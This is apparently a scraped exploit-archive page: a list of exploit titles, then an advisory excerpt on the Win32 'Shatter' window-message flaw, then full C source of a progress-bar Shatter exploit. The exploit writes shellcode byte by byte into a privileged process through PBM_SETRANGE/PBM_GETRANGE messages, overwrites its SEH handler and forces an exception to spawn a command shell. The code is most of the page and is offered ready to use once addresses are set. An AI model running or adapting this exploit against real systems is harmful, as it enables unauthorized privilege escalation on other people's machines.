
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
110 lines
No EOL
5.1 KiB
C
110 lines
No EOL
5.1 KiB
C
// source: https://www.securityfocus.com/bid/5408/info
|
|
|
|
A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely affects almost every Win32 window-based application. Attackers with local access may exploit this vulnerability to elevate privileges if a window belonging to another process with higher privileges is present. One example of such a process is antivirus software, which often must run with LocalSystem privileges.
|
|
|
|
** Microsoft has released a statement regarding this issue. Please see the References section for details.
|
|
|
|
A paper, entitled "Win32 Message Vulnerabilities Redux" has been published by iDEFENSE that describes another Windows message that may be abused in a similar manner to WM_TIMER. Microsoft has not released patches to address problems with this message. There are likely other messages which can be exploited in the same manner.
|
|
|
|
Another proof-of-concept has been released by Brett Moore in a paper entitled "Shattering SEH III". This paper demonstrates how Shatter attacks may be used against applications which make use of progress bar controls.
|
|
|
|
Brett Moore has released a paper entitled "Shattering By Example" which summarizes previous Shatter attacks, discusses new techniques and also provides an exploit which abuses Windows statusbars using WM_SETTEXT, SB_SETTEXT, SB_GETTEXTLENGTH, SB_SETPARTS and SB_GETPARTS messages. Please see the attached reference to the paper for more details.
|
|
|
|
/***************************************************************************
|
|
* Progress Control Shatter exploit
|
|
*
|
|
* Demonstrates the use of Progress Control messages to;
|
|
* - inject shellcode to known location
|
|
* - overwrite 4 bytes of a critical memory address
|
|
*
|
|
* 3 Variables need to be set for proper execution.
|
|
* - tWindow is the title of the programs main window
|
|
* - sehHandler is the critical address to overwrite
|
|
* - shellcodeaddr is the data space to inject the code
|
|
*
|
|
* Local shellcode loads relevant addresses
|
|
* Try it out against any program with a progress bar
|
|
*
|
|
* Based on (and pretty much identical to)
|
|
* mcafee-shatterseh2.c by
|
|
* Oliver Lavery <oliver.lavery at sympatico.ca>
|
|
****************************************************************************
|
|
/
|
|
#include <windows.h>
|
|
#include <commctrl.h>
|
|
#include <stdio.h>
|
|
// Local Cmd Shellcode.
|
|
BYTE exploit[] =
|
|
"\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77\xFF\xD
|
|
1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC";
|
|
char g_classNameBuf[ 256 ];
|
|
char tWindow[]="Checking Disk C:\\";// The name of the main window
|
|
long sehHandler = 0x7fXXXXXX; // Critical Address To Overwrite
|
|
long shellcodeaddr = 0x7fXXXXXX; // Known Writeable Space Or Global Space
|
|
void doWrite(HWND hWnd, long tByte,long address);
|
|
void IterateWindows(long hWnd);
|
|
int main(int argc, char *argv[])
|
|
{
|
|
long hWnd;
|
|
HMODULE hMod;
|
|
DWORD ProcAddr;
|
|
printf("%% Playing with progress bar messages\n");
|
|
printf("%% brett.moore@security-assessment.com\n\n");
|
|
// Find local procedure address
|
|
hMod = LoadLibrary("kernel32.dll");
|
|
ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA");
|
|
if(ProcAddr != 0)
|
|
// And put it in our shellcode
|
|
*(long *)&exploit[13] = ProcAddr;
|
|
hMod = LoadLibrary("msvcrt.dll");
|
|
ProcAddr = (DWORD)GetProcAddress(hMod, "system");
|
|
if(ProcAddr != 0)
|
|
// And put it in our shellcode
|
|
*(long *)&exploit[26] = ProcAddr;
|
|
|
|
printf("+ Finding %s Window...\n",tWindow);
|
|
hWnd = (long)FindWindow(NULL,tWindow);
|
|
if(hWnd == NULL)
|
|
{
|
|
printf("+ Couldn't Find %s Window\n",tWindow);
|
|
return 0;
|
|
}
|
|
printf("+ Found Main Window At...0x%xh\n",hWnd);
|
|
IterateWindows(hWnd);
|
|
printf("+ Done...\n");
|
|
return 0;
|
|
}
|
|
void doWrite(HWND hWnd, long tByte,long address)
|
|
{
|
|
SendMessage( hWnd,(UINT) PBM_SETRANGE,0,MAKELPARAM(tByte , 20));
|
|
SendMessage( hWnd,(UINT) PBM_GETRANGE,1,address);
|
|
}
|
|
void IterateWindows(long hWnd)
|
|
{
|
|
long childhWnd,looper;
|
|
childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);
|
|
while (childhWnd != NULL)
|
|
{
|
|
IterateWindows(childhWnd);
|
|
childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);
|
|
}
|
|
GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) );
|
|
if ( strcmp(g_classNameBuf, "msctls_progress32") ==0)
|
|
{
|
|
// Inject shellcode to known address
|
|
printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
|
|
for (looper=0;looper<sizeof(exploit);looper++)
|
|
doWrite((HWND)hWnd, (long) exploit[looper],(shellcodeaddr + looper));
|
|
// Overwrite SEH
|
|
printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
|
|
doWrite((HWND)hWnd, ((shellcodeaddr) & 0xff),sehHandler);
|
|
doWrite((HWND)hWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1);
|
|
doWrite((HWND)hWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2);
|
|
doWrite((HWND)hWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3);
|
|
// Cause exception
|
|
printf("+ Forcing Unhandled Exception\n");
|
|
SendMessage((HWND) hWnd,(UINT) PBM_GETRANGE,0,1);
|
|
printf("+ Done...\n");
|
|
exit(0);
|
|
}
|
|
}
|